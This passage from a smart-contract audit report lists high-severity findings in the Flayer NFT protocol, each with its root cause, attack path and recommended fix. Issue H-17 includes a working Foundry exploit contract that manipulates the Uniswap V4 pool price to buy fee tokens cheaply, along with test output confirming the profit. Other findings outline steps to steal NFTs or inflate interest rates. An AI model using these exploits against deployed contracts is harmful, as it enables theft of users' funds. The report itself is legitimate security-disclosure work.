if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() != InfernalRiftAbove) {
    revert CrossChainSenderIsNotRiftBelow();
}
```

Discussion

zhaojio

We asked sponsor:

> InfernalRiftBelow.claimRoyalties function of the msg.sender, is RELAYER_ADDRESS? right??

Sponsor reply:

> good catch, it should be L2_CROSS_DOMAIN_MESSENGER instead

Issue H-13: InfernalRiftBelow.claimRoyalties no verification msg.sender

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/406

Found by

Ironsidesec, Thanos, X12, ZeroTrust, cnsdkc007, ctf_sec, gr8tree, rndquu, shaflow01, snapishere, t.aksoy, zzykxx

Summary

`claimRoyalties` used to accept the message on the L1, then execute `ERC721Bridgable.claimRoyalties`, but not the authentication callers, may result in the loss of the assets in the protocol.

Vulnerability Detail

`claimRoyalties` are used to accept cross-chain calls, but `msg.sender` is not validated:

```
if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() !=
↪  INFERNAL_RIFT_ABOVE) {
    revert CrossChainSenderIsNotRiftAbove();
}
```

If `msg.sender` is a contract account implementing the `ICrossDomainMessenger` interface, the `xDomainMessageSender` function returns an address of `INFERNAL_RIFT_ABOVE`, which means that the `claimRoyalties` function can be invoked.

So anyone can call this function as long as he deploys a contract.

`InfernalRiftBelow.claimRoyalties` function will be called `ERC721Bridgable.claimRoyalties`, transfer NFTs from `ERC721Bridgable` contract, so any can transfer NFTs from `ERC721Bridgable`.

L1 Send message to L2:

```
function claimRoyalties(address _collectionAddress, address _recipient, address[]
↪  calldata _tokens, uint32 _gasLimit) external {
    .....
    ICrossDomainMessenger(L1_CROSS_DOMAIN_MESSENGER).sendMessage(
        INFERNAL_RIFT_BELOW,
        abi.encodeCall(
            IInfernalRiftBelow.claimRoyalties,
            (_collectionAddress, _recipient, _tokens)
```

```
        ),
        _gasLimit
    );

    emit RoyaltyClaimStarted(address(INFERNAL_RIFT_BELOW), _collectionAddress,
↪   _recipient, _tokens);
}
```

Impact

Anyone can steal NFT from the protocol.

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L220-L232

Tool used

Manual Review

Recommendation

```
+    if (msg.sender != L2_CROSS_DOMAIN_MESSENGER) {
+        revert NotCrossDomainMessenger();
+    }
```

Issue H-14: ERC1155 cannot claim royalities on L2.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/456

Found by

0xdice91, BugPull, OpaBatyo, Ruhum, Thanos, h2134, heeze, novaman33, zzykxx

Summary

https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/InfernalRiftBelow.sol#L220-L232

The royalty claim function is designed to allow owners of collections deployed on L2 to claim their royalties on L1. However, this function only supports collections using the ERC721 standard. If the collection is an ERC1155, the function reverts due to a check in isDeployedOnL2, preventing the owner from claiming their royalties.

Vulnerability Detail

The function claimRoyalties checks if a collection is deployed on L2 using the isDeployedOnL2 function. This check only passes if the collection is an ERC721 standard. When an ERC1155 collection is used as the _collectionAddress, the function reverts because the check fails. As a result, owners of ERC1155 collections are unable to claim their royalties.

NOTE: The ERC1155Bridgable contract implements claimRoyalty function: https://github.com/sherlock-audit/2024-08-flayer/blob/main/moongate/src/libs/ERC1155Bridgable.sol#L104-L135

POC:

```
// on L1
function claimRoyalties(address _collectionAddress, address _recipient, address[]
↪  calldata _tokens, uint32 _gasLimit) external {
      //...
@>>>  ICrossDomainMessenger(L1_CROSS_DOMAIN_MESSENGER).sendMessage(
          INFERNAL_RIFT_BELOW,
          abi.encodeCall(IInfernalRiftBelow.claimRoyalties, (_collectionAddress,
↪  _recipient, _tokens)),
          _gasLimit
      );
      //...
}
```

```
// on L2
function claimRoyalties(address _collectionAddress, address _recipient, address[]
↪  calldata _tokens) public {
        // Ensure that our message is sent from the L1 domain messenger
        if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() !=
↪  INFERNAL_RIFT_ABOVE) {
            revert CrossChainSenderIsNotRiftAbove();
        }

        // Get our L2 address from the L1
@>>>    // revert will happen here because passing ERC1155 _collectionAddress with
↪  false to isDeployedOnL2
        // will check if ERC721Bridgable is deployed not ERC1155Bridgable.
        // so calling claimRoyalties will cause revert.
@>>>    if (!isDeployedOnL2(_collectionAddress, false)) revert
↪  L1CollectionDoesNotExist();

        // Call our ERC721Bridgable contract as the owner to claim royalties to the
↪  recipient
        ERC721Bridgable(l2AddressForL1Collection(_collectionAddress,
↪  false)).claimRoyalties(_recipient, _tokens);
        emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
}
```

Impact

the inability of ERC1155 owners to claim royalties results in a loss of expected income for the collection owners.

Recommendation

add logic to handle ERC1155 _collectionAddress.

```
function claimRoyalties(address _collectionAddress, address _recipient, address[]
↪  calldata _tokens) public {
    // Ensure that our message is sent from the L1 domain messenger
    if (ICrossDomainMessenger(msg.sender).xDomainMessageSender() !=
↪  INFERNAL_RIFT_ABOVE) {
        revert CrossChainSenderIsNotRiftAbove();
    }

    // Get our L2 address from the L1
+   if (isDeployedOnL2(_collectionAddress, false)) {
+       // Call our ERC721Bridgable contract as the owner to claim royalties to the
↪  recipient
+       ERC721Bridgable(l2AddressForL1Collection(_collectionAddress,
↪  false)).claimRoyalties(_recipient, _tokens);
```

```
+       emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+   }

+   else if (isDeployedOnL2(_collectionAddress, true)) {
+       // Call our ERC1155Bridgable contract as the owner to claim royalties to
 ↪  the recipient
+       ERC1155Bridgable(l2AddressForL1Collection(_collectionAddress,
 ↪  true)).claimRoyalties(_recipient, _tokens);
+       emit RoyaltyClaimFinalized(_collectionAddress, _recipient, _tokens);
+   }

+   else {
+       revert L1CollectionDoesNotExist();
+   }
}
```

Issue H-15: Protected listings checkpoints are not always updated when the total supply changes

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/515

Found by

Ironsidesec, Sentryx, valuevalk, zzykxx

Summary

The protocol doesn't update protected listings checkpoints every time the total supply of collection token changes

Root Cause

The `ProtectedListing` contract uses a checkpoint system to keep track of the interests to pay. It calculates the current interest rate of a collection based on the utilization rate, which depends, among other factors, on the total supply of collection tokens.

For this system to work correctly everytime the total supply changes a new checkpoint for the collection should be created, but this is not the case as both Locker::deposit() and Locker::redeem(), which mint and burn collection tokens, don't create a new checkpoint in the protected listing contract.

Another case where this happens is the UniswapImplementation::afterSwap() hook, where collection tokens can be burned.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

This is a problem by itself, as users will pay a wrong interest rate, but it can also be taken advantage of to force users to pay a huge amount of interest or get their protected

listings liquidated:

1. Alice creates a new protected listing via ProtectedListings::createListings(). This is the first protected listing of the collection and as such she expects a low interest rate.
2. Eve, a liquidity provider, flashloans all of the collection tokens currently in the UniswapV4 pool.
3. Eve calls Locker::redeem() in order to burn all of the flashloaned collection tokens in the exchange for NFTs. This lowers the total supply of collection tokens and increases the utilization rate.
4. Eve calls Listings::cancelListings() by passing as an emppty array as token ids. This creates a checkpoint for the collection.
5. Eve calls Locker::deposit() in order to re-deposit the NFT collected during point `3` in exchange for collection tokens.
6. Eve adds the collection tokens back the UniV4 pool.

This results in Alice having to pay a higher interest rate than expected, which is profitable for Eve, or have her NFT liquidated if the interest rate is so high that the position becomes liquidatable in much less time than she expects.

The worst situation possible is for Alice to create a protected listing by borrowing `1` wei of tokens in a collection that's just been created and whose whole total supply is locked in the UniwapV4 pool. Eve would be able to create a situation where:

1. The total supply is `1` (Alice's borrowed token)
2. The amount of listings is `1` (Alice's listing)

which would result in an utilization rate of:

```
(listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply
```

```
(1 * 1e36 * 10 ** 0) / 1
```

```
1e36
```

Impact

Since the checkpoints are not correctly updated users will pay a wrong interest rate on protected listings no-matter-what. An attacker can abuse this artificially inflate the utilization rate, which is profitable when the attacker is also a liquidity provider in the UniV4 pool.

PoC

No response

Mitigation

Correctly update collection checkpoints whenever the total supply of collection token changes.

Issue H-16: The `relist` function does not check whether the listing is a liquidation listing causing users to pay taxes and refunds being paid to the listing owner who did not pay taxes

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/547

Found by

0x37, 0xAlix2, 0xNirix, BADROBINX, BugPull, Ollam, Sentryx, Tendency, almantare, almurhasan, araj, blockchain555, h2134, kuprum, merlinboii, t.aksoy, utsav, valuevalk, zzykxx

Summary

Since liquidated listings are created without the original owner paying taxes, the lack of a check for the liquidation status means the system might incorrectly process a tax refund for a listing that was liquidated, allowing the original owner to receive funds they should not be entitled to

Vulnerability Detail

Liquidated listings are created without the original owner paying taxes. If the system lacks a check for liquidation status, it might process a tax refund incorrectly, The absence of a liquidation status check can lead to the original owner receiving tax refunds for liquidated listings, which they are not entitled to. This creates an opportunity for the owner to receive funds improperly

The problem arises because the `relist` function does not check if the Listing being relisted was from a liquidation or not, therefore causing the ”relister” to pay taxes and the contract depositing refunds to the ”liquidated user” who did not pay taxes.

Impact

Without checking liquidation status, the system may wrongly process tax refunds for liquidated listings, allowing the original owner to receive undeserved funds. This error could result in a loss of funds within the protocol.

Code Snippet

- https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L644

```
    function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public
↪   nonReentrant lockerNotPaused {
  // Load our tokenId
  address _collection = _listing.collection;
  uint _tokenId = _listing.tokenIds[0];

  // Read the existing listing in a single read
  Listing memory oldListing = _listings[_collection][_tokenId];

  // Ensure the caller is not the owner of the listing
  if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();

  // Load our new Listing into memory
  Listing memory listing = _listing.listing;

  // Ensure that the existing listing is available
  (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
  if (!isAvailable) revert ListingNotAvailable();

  // We can process a tax refund for the existing listing
@>(uint _fees,) = _resolveListingTax(oldListing, _collection, true);
  if (_fees != 0) {
    emit ListingFeeCaptured(_collection, _tokenId, _fees);
  }

  // Find the underlying {CollectionToken} attached to our collection
  ICollectionToken collectionToken = locker.collectionToken(_collection);

  // If the floor multiple of the original listings is different, then this needs
  // to be paid to the original owner of the listing.
  uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
  if (listingPrice > listingFloorPrice) {
    unchecked {
      collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice -
↪   listingFloorPrice);
    }
  }

  // Validate our new listing
  _validateCreateListing(_listing);

  // Store our listing into our Listing mappings
  _listings[_collection][_tokenId] = listing;

  // Pay our required taxes
```

```
  payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing,
↪  _collection), _payTaxWithEscrow);

  // Emit events
  emit ListingRelisted(_collection, _tokenId, listing);
}
```

Tool used

Manual Review

Recommendation

Add a check inside the `relist` Function to prevent taxes being paid for listings that were liquidated

```
  // We can process a tax refund for the existing listing
+  if (!_isLiquidation[_collection][_tokenId]) {
  (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
  if (_fees != 0) {
    emit ListingFeeCaptured(_collection, _tokenId, _fees);
      }
+  } else {
+      delete _isLiquidation[_collection][_tokenId];
+     }
```

Issue H-17: `UniswapImplementation.beforeSwap()` is vulnerable to price manipulation attack

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/559

The protocol has acknowledged this issue.

Found by

AuditorPraise, BugPull, ComposableSecurity, KingNFT, Thanos, zzykxx

Summary

In `UniswapImplementation.beforeSwap()`, when there is undistributed fee of `collectionToken` and users try to swap `WETH->collectionToken`, these pending fee of `collectionToken` will be firstly swapped. The issue is that the swap here is based on `currentprice` rather than a `TWAP`, this will make price manipulation attack available.

Root Cause

The issue arises on `UniswapImplementation.sol:508` (link), current market price is fethced, and used for calculating swap token amount on L521 and L536. Per UniswapV4's `delta` accounting system, the market price can be easily manipulated even without flashloan. Therefore, attackers can do the following steps in one execution to drain risk free profit from `UniswapImplementation`: (1) Sell some `collectionTokens` to decrease price (2) Swap with pool fee of `collectionToken` at a discount price (3) Buy exact `collectionTokens` of step1 to increase price back

```
File: src\contracts\implementation\UniswapImplementation.sol
490:     function beforeSwap(address sender, PoolKey calldata key,
↪  IPoolManager.SwapParams memory params, bytes calldata hookData) public override
↪  onlyByPoolManager returns (bytes4 selector_, BeforeSwapDelta beforeSwapDelta_,
↪  uint24 swapFee_) {
...
502:         if (trigger && pendingPoolFees.amount1 != 0) {
...
508:             (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolId); //
↪  @audit current price
...
513:             if (params.amountSpecified >= 0) {
...
520:                 (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
```

```
521:                     sqrtPriceCurrentX96: sqrtPriceX96,
...
526:                 });
...
531:             }
...
534:             else {
535:                 (, ethIn, tokenOut, ) = SwapMath.computeSwapStep({
536:                     sqrtPriceCurrentX96: sqrtPriceX96,
...
541:                 });
...
556:             }
...
580:     }
```

Internal pre-conditions

The `UniswapImplementation` has collected some fee of `collectionToken`

External pre-conditions

N/A

Attack Path

(1) Sell some collectionTokens to decrease price (2) Swap with pool fee of collectionToken at a discount price (3) Buy exact collectionTokens of step1 to increase price back

Impact

Attackers can drain risk free profit from the protocol.

PoC

The following PoC shows a case that: (1) In the normal case, Alice swap `1ether` collectionToken at a cost of `1.11ether` of WETH (2) In the attack case, Alice swap `1ether` collectionToken at only cost of `0.41ether` of WETH

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;

import {Ownable} from '@solady/auth/Ownable.sol';
```

```
import {PoolSwapTest} from '@uniswap/v4-core/src/test/PoolSwapTest.sol';
import {Hooks, IHooks} from '@uniswap/v4-core/src/libraries/Hooks.sol';
import {IUnlockCallback} from
↪  '@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol';
import {StateLibrary} from "@uniswap/v4-core/src/libraries/StateLibrary.sol";
import {TransientStateLibrary} from
↪  "@uniswap/v4-core/src/libraries/TransientStateLibrary.sol";
import {CurrencySettler} from "@uniswap/v4-core/test/utils/CurrencySettler.sol";

import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import {IERC721} from '@openzeppelin/contracts/token/ERC721/IERC721.sol';

import {CollectionToken} from '@flayer/CollectionToken.sol';
import {Locker, ILocker} from '@flayer/Locker.sol';
import {LockerManager} from '@flayer/LockerManager.sol';

import {IBaseImplementation} from '@flayer-interfaces/IBaseImplementation.sol';
import {ICollectionToken} from '@flayer-interfaces/ICollectionToken.sol';
import {IListings} from '@flayer-interfaces/IListings.sol';

import {Currency, CurrencyLibrary} from '@uniswap/v4-core/src/types/Currency.sol';
import {LPFeeLibrary} from '@uniswap/v4-core/src/libraries/LPFeeLibrary.sol';
import {PoolKey} from '@uniswap/v4-core/src/types/PoolKey.sol';
import {PoolIdLibrary, PoolId} from '@uniswap/v4-core/src/types/PoolId.sol';
import {IPoolManager, PoolManager, Pool} from
↪  '@uniswap/v4-core/src/PoolManager.sol';
import {TickMath} from '@uniswap/v4-core/src/libraries/TickMath.sol';
import {Deployers} from '@uniswap/v4-core/test/utils/Deployers.sol';

import {FlayerTest} from './lib/FlayerTest.sol';
import {ERC721Mock} from './mocks/ERC721Mock.sol';

import {BaseImplementation, IBaseImplementation} from
↪  '@flayer/implementation/BaseImplementation.sol';
import {UniswapImplementation} from
↪  "@flayer/implementation/UniswapImplementation.sol";
import {console2} from 'forge-std/console2.sol';

contract AttackHelper is IUnlockCallback {
    using StateLibrary for IPoolManager;
    using TransientStateLibrary for IPoolManager;
    using CurrencySettler for Currency;

    IPoolManager public immutable manager;
    PoolKey public  poolKey;

    struct CallbackData {
        address sender;
        IPoolManager.SwapParams params;
```

```
    }

    constructor(IPoolManager _manager, PoolKey memory _poolKey) {
        manager = _manager;
        poolKey = _poolKey;
    }

    function swap(
        IPoolManager.SwapParams memory params
    ) external {
        manager.unlock(abi.encode(CallbackData(msg.sender, params)));
    }

    function unlockCallback(bytes calldata rawData) external returns (bytes memory)
↪   {
        CallbackData memory data = abi.decode(rawData, (CallbackData));

        // 1. Sell some collectionTokens to decrease price
        IPoolManager.SwapParams memory sellParam = IPoolManager.SwapParams({
            zeroForOne: false, // unflippedToken -> WETH
            amountSpecified: -10 ether, // exact input
            sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
        });
        manager.swap(poolKey, sellParam, "");

        // 2. Swap with pool fee at a discount price
        manager.swap(poolKey, data.params, "");

        // 3. Buy exact collectionTokens of step1 to increase price back
        IPoolManager.SwapParams memory buyParam = IPoolManager.SwapParams({
            zeroForOne: true, // WETH -> unflippedToken
            amountSpecified: 10 ether, // exact input
            sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
        });
        manager.swap(poolKey, buyParam, "");

        int256 delta0 = manager.currencyDelta(address(this), poolKey.currency0);
        int256 delta1 = manager.currencyDelta(address(this), poolKey.currency1);

        if (delta0 < 0) {
            poolKey.currency0.settle(manager, data.sender, uint256(-delta0), false);
        }
        if (delta1 < 0) {
            poolKey.currency1.settle(manager, data.sender, uint256(-delta1), false);
        }
        if (delta0 > 0) {
            poolKey.currency0.take(manager, data.sender, uint256(delta0), false);
        }
        if (delta1 > 0) {
            poolKey.currency1.take(manager, data.sender, uint256(delta1), false);
```

```
        }
        return abi.encode("");
    }
}

contract BeforeSwapPriceManupilationAttackTest is Deployers, FlayerTest {
    using LPFeeLibrary for uint24;
    using PoolIdLibrary for PoolKey;
    using StateLibrary for PoolManager;

    address internal constant BENEFICIARY = address(123);
    uint160 constant SQRT_PRICE_1 = 2**96; // 1 ETH per collectionToken
    ERC721Mock unflippedErc721;
    CollectionToken unflippedToken;
    PoolKey poolKey;
    AttackHelper attackHelper;

    constructor() {
        _deployPlatform();
    }

    function setUp() public {
        _createCollection();
        _initCollection();
        _addSomeFee();
        attackHelper = new AttackHelper(poolManager, poolKey);
    }

    function testNormalCase() public {
        address alice = users[0];
        _dealNativeToken(alice, 10 ether);
        _approveNativeToken(alice, address(poolSwap), type(uint).max);

        uint wethBefore = WETH.balanceOf(alice);
        assertEq(10 ether, wethBefore);
        uint unflippedTokenBefore = unflippedToken.balanceOf(alice);
        assertEq(0, unflippedTokenBefore);

        vm.startPrank(alice);
        poolSwap.swap(
            poolKey,
            IPoolManager.SwapParams({
                zeroForOne: true, // WETH -> unflippedToken
                amountSpecified: 1 ether, // exact output
                sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
            }),
            PoolSwapTest.TestSettings({
                takeClaims: false,
                settleUsingBurn: false
            }),
```

```
            ''
        );
        vm.stopPrank();
        (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolKey.toId());
        // swap with fee, liquidity pool not been touched
        assertEq(SQRT_PRICE_1, sqrtPriceX96);

        // swap 1 ether collectionToken with 1.11 ether WETH
        uint wethAfter = WETH.balanceOf(alice);
        uint unflippedTokenAfter = unflippedToken.balanceOf(alice);
        uint wethCost = wethBefore - wethAfter;
        assertApproxEqAbs(1.11 ether, wethCost, 0.01 ether);
        uint unflippedTokenReceived = unflippedTokenAfter - unflippedTokenBefore;
        assertEq(1 ether, unflippedTokenReceived);
    }

    function testAttackCase() public {
        address alice = users[0];
        _dealNativeToken(alice, 10 ether);
        _approveNativeToken(alice, address(attackHelper), type(uint).max);

        uint wethBefore = WETH.balanceOf(alice);
        assertEq(10 ether, wethBefore);
        uint unflippedTokenBefore = unflippedToken.balanceOf(alice);
        assertEq(0, unflippedTokenBefore);

        vm.startPrank(alice);
        attackHelper.swap(
            IPoolManager.SwapParams({
                zeroForOne: true, // WETH -> unflippedToken
                amountSpecified: 1 ether, // exact output
                sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
            })
        );
        vm.stopPrank();

        // swap 1 ether collectionToken with 0.41 ether WETH
        uint wethAfter = WETH.balanceOf(alice);
        uint unflippedTokenAfter = unflippedToken.balanceOf(alice);
        uint wethCost = wethBefore - wethAfter;
        assertApproxEqAbs(0.41 ether, wethCost, 0.01 ether);
        uint unflippedTokenReceived = unflippedTokenAfter - unflippedTokenBefore;
        assertEq(1 ether, unflippedTokenReceived);
    }

    function _createCollection() internal {
        while (address(unflippedToken) == address(0)) {
            unflippedErc721 = new ERC721Mock();
            address test = locker.createCollection(address(unflippedErc721),
↪  'Flipped', 'FLIP', 0);
```

```
            if (Currency.wrap(test) >= Currency.wrap(address(WETH))) {
                unflippedToken = CollectionToken(test);
            }
        }
        assertTrue(Currency.wrap(address(unflippedToken)) >=
↪   Currency.wrap(address(WETH)), 'Invalid unflipped token');
    }

    function _initCollection() internal {
        // This needs to avoid collision with other tests
        uint tokenOffset = uint(type(uint128).max) + 1;

        // Mint enough tokens to initialize successfully
        uint tokenIdsLength = locker.MINIMUM_TOKEN_IDS();
        uint[] memory _tokenIds = new uint[](tokenIdsLength);
        for (uint i; i < tokenIdsLength; ++i) {
            _tokenIds[i] = tokenOffset + i;
            unflippedErc721.mint(address(this), tokenOffset + i);
        }

        // Approve our {Locker} to transfer the tokens
        unflippedErc721.setApprovalForAll(address(locker), true);

        // Initialize the specified collection with the newly minted tokens. To
↪   allow for varied
        // denominations we go a little nuts with the ETH allocation.
        assertTrue(tokenIdsLength == 10);
        uint startBalance = WETH.balanceOf(address(this));
        _dealNativeToken(address(this), 10 ether);
        _approveNativeToken(address(this), address(locker), type(uint).max);
        locker.initializeCollection(address(unflippedErc721), 10 ether, _tokenIds,
↪   _tokenIds.length * 1 ether, SQRT_PRICE_1);
        _dealNativeToken(address(this), startBalance);

        // storing poolKey
        poolKey = PoolKey({
            currency0: Currency.wrap(address(WETH)),
            currency1: Currency.wrap(address(unflippedToken)),
            fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
            tickSpacing: 60,
            hooks: IHooks(address(uniswapImplementation))
        });

        (uint160 sqrtPriceX96,,,) = poolManager.getSlot0(poolKey.toId());
        assertEq(SQRT_PRICE_1, sqrtPriceX96);
    }

    function _addSomeFee() internal {
        vm.prank(address(locker));
        unflippedToken.mint(address(this), 1 ether);
```

```
        unflippedToken.approve(address(uniswapImplementation), type(uint).max);
        uniswapImplementation.depositFees(address(unflippedErc721), 0, 1 ether);
        IBaseImplementation.ClaimableFees memory fees =
↪   uniswapImplementation.poolFees(address(unflippedErc721));
        assertEq(0, fees.amount0);
        assertEq(1 ether, fees.amount1);
    }
}
```

And the test log:

```
2024-08-flayer\flayer> forge test --match-contract
↪   BeforeSwapPriceManupilationAttackTest -vv
[ ] Compiling...
[ ] Compiling 1 files with Solc 0.8.26
[ ] Solc 0.8.26 finished in 15.82s
Compiler run successful!

Ran 2 tests for test/BugBeforeSwapPriceManupilationAttack.t.sol:BeforeSwapPriceManu
↪   pilationAttackTest
[PASS] testAttackCase() (gas: 364330)
[PASS] testNormalCase() (gas: 283375)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 7.56ms (3.04ms CPU
↪   time)

Ran 1 test suite in 29.01ms (7.56ms CPU time): 2 tests passed, 0 failed, 0 skipped
↪   (2 total tests)
```

Mitigation

Using TWAP, reference: https://blog.uniswap.org/uniswap-v4-truncated-oracle-hook.
Or swap `collectionToken` to WETH immediately at fee receiving time

Issue H-18: When relisting a floor item listing, listingCount is not increased, causing listingCount can be underflowed.

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/574

Found by

araj, g, utsav, zraxx

Summary

https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L625-L672 The `relist` function is used to refill the parameters of any token listings, including floor item listing. For a loor item listing, users can change its owner from address(0) to their own address without paying any fees, and set its type to DUTCH or LIQUID. However, this operation does not change `listingCount`. So, when all the listing is filled, the `listingCount` will be underflowed to a large num(close to uint256.max) instead of 0. Later, in the function `CollectionShutdown.sol#execute`, it will be reverted as `listings.listingCount(_collection)!=0`.

Root Cause

In `Listings.sol#relist`, when relist for a floor item listing, listingCount is not incresed, causing listingCount can be underflowed.

Internal pre-conditions

1. The `_collection` is initialized.
2. There are floor item listings in the `_collection`.

External pre-conditions

No response

Attack Path

1. The attacker call `relist` for a floor item listing.

2. The attacker immediately calls cancelListings to cancel it, in order to refund the tax. At the same time, listingCount is decreased. As a result, the listingCount cannot correctly reflect the number of listings contained in _collection.

Impact

listingCount cannot correctly reflect the number of listings contained in _collection. `CollectionShutdown.sol#execute` will be DOSed.

PoC

No response

Mitigation

Avoid relisting floor item listings OR Increase listingCount by one.

Issue H-19: Owner Can Lose The Token After Being Unlocked but Not Withdrawn

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/601

Found by

0x37, 0xAlix2, BADROBINX, Greese, Ironsidesec, adamn, almantare, araj, cnsdkc007, dany.armstrong90, h2134, merlinboii, t.aksoy, utsav, zarkk01, zzykxx

Summary

The `unlockProtectedListing` function allows a user to unlock an NFT and make it withdrawable for themselves. However, if the user does not immediately withdraw the NFT, another user can front-run the process by swapping, redeeming, or buying the NFT, as there is no protection mechanism preventing this. The `Locker::isListing` function fails to correctly identify the unlocked NFT as being in a protected state, allowing it to be redeemed.

Vulnerability Detail

When the unlockProtectedListing function is called, the NFT owner can either withdraw the NFT or leave it in the contract for later withdrawal. However If the NFT is not withdrawn immediately, a malicious user can swap, redeem, or buy the unlocked NFT.

Inside the unlockProtectedListing function, if the owner opts not to withdraw the NFT, the listing owner is set to zero and the NFT becomes withdrawable later by the rightful owner.

```
// Delete the listing objects
delete _protectedListings[_collection][_tokenId];

// Transfer the listing ERC721 back to the user
if (_withdraw) {
    locker.withdrawToken(_collection, _tokenId, msg.sender);
    emit ListingAssetWithdraw(_collection, _tokenId);
} else {
    canWithdrawAsset[_collection][_tokenId] = msg.sender;
}
```

However, due to this owner field being set to zero, the `Locker::isListingfunction` incorrectly interprets the NFT as no longer being protected, allowing other users to redeem or buy the unlocked NFT before the rightful owner can withdraw it.

```
function isListing(address _collection, uint _tokenId) public view returns (bool) {
    IListings _listings = listings;

    // Check if we have a liquid or dutch listing
    if (_listings.listings(_collection, _tokenId).owner != address(0)) {
        return true;
    }

    // Check if we have a protected listing
    if (_listings.protectedListings().listings(_collection, _tokenId).owner !=
↪   address(0)) {
        return true;
    }

    return false;
}
```

Test:

```
function test_redeemBeforeOner(uint _tokenId, uint96 _tokensTaken) public {

    _assumeValidTokenId(_tokenId);
    vm.assume(_tokensTaken >= 0.1 ether);
    vm.assume(_tokensTaken <= 1 ether - protectedListings.KEEPER_REWARD());

    // Set the owner to one of our test users (Alice)
    address payable _owner = users[0];

    // Mint our token to the _owner and approve the {Listings} contract to use it
    erc721a.mint(_owner, _tokenId);

    // Create our listing
    vm.startPrank(_owner);
    erc721a.approve(address(protectedListings), _tokenId);
    _createProtectedListing({
        _listing: IProtectedListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIdToArray(_tokenId),
            listing: IProtectedListings.ProtectedListing({
                owner: _owner,
                tokenTaken: _tokensTaken,
                checkpoint: 0
            })
        })
    });

    // Approve the ERC20 token to be used by the listings contract to unlock the
↪   listings
    locker.collectionToken(address(erc721a)).approve(
```

```
        address(protectedListings),
        _tokensTaken
    );

    protectedListings.unlockProtectedListing(
        address(erc721a),
        _tokenId,
        false
    );

    vm.stopPrank();

    // Approve the ERC20 token to be used by the listings contract to unlock the
↪   listings
    locker.collectionToken(address(erc721a)).approve(
        address(locker),
        1000000000000 ether
    );
    //@audit another user can redeem before owner.
    uint[] memory redeemTokenIds = new uint[](1);
    redeemTokenIds[0] = _tokenId;
    locker.redeem(address(erc721a), redeemTokenIds);

    vm.prank(_owner);
    // Owner cant withdraw anymore since they have been redeemed
    protectedListings.withdrawProtectedListing(address(erc721a), _tokenId);
}
```

Impact

original owner might lose the NFT to a malicious actor who front-runs the withdrawal process

Code Snippet

https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L314
https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L438

Tool used

Manual Review

Recommendation

Modify isListing function: Ensure that tokens marked as canWithdrawAsset are still considered active listings until they are fully withdrawn by their rightful owner.

Issue H-20: Donation fees are sandwich-able in one transaction

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/615

Found by

0x37, BugPull, Ironsidesec, ZeroTrust, araj, zzykxx

Summary

Doesn't matters if MEV is openly possible in the chain, when eevr a user does actions like `liquidateProtectedListing`, `cancelListing`, `modifyListings`, `fillListings`, `Reserve` and `Relist`. They can sandwich the fees donation to make profit or recover the tax they paid. Or, the liquidaton is open access, so you can sandwich that in same tc itself.

Root casue : allowing more than max donation limit per transaction.

Even if you don't allow to donate more than max, the user will just loop the donation and still extract the $, so its better to have a max donation per block state that tracks this. So `donateThresholdMax` should be implemented in per block limit way.

Vulnerability Detail

Uniswap openly advises to design the donation mechanism to not allow MEV extraction

https://github.com/Uniswap/v4-core/blob/18b223cab19dc778d9d287a82d29fee3e99162b0/src/interfaces/IPoolManager.sol#L167-L172

```
IPoolManager.sol
   /// @notice Donate the given currency amounts to the in-range liquidity
↪  providers of a pool
   /// @dev Calls to donate can be frontrun adding just-in-time liquidity, with the
↪  aim of receiving a portion donated funds.
   /// Donors should keep this in mind when designing donation mechanisms.
   /// @dev This function donates to in-range LPs at slot0.tick. In certain
↪  edge-cases of the swap algorithm, the `sqrtPrice` of
   /// a pool can be at the lower boundary of tick `n`, but the `slot0.tick` of the
↪  pool is already `n - 1`. In this case a call to
   /// `donate` would donate to tick `n - 1` (slot0.tick) not tick `n`
↪  (getTickAtSqrtPrice(slot0.sqrtPriceX96)).
```

Fees are donated to uniV4 pool in several listing actions

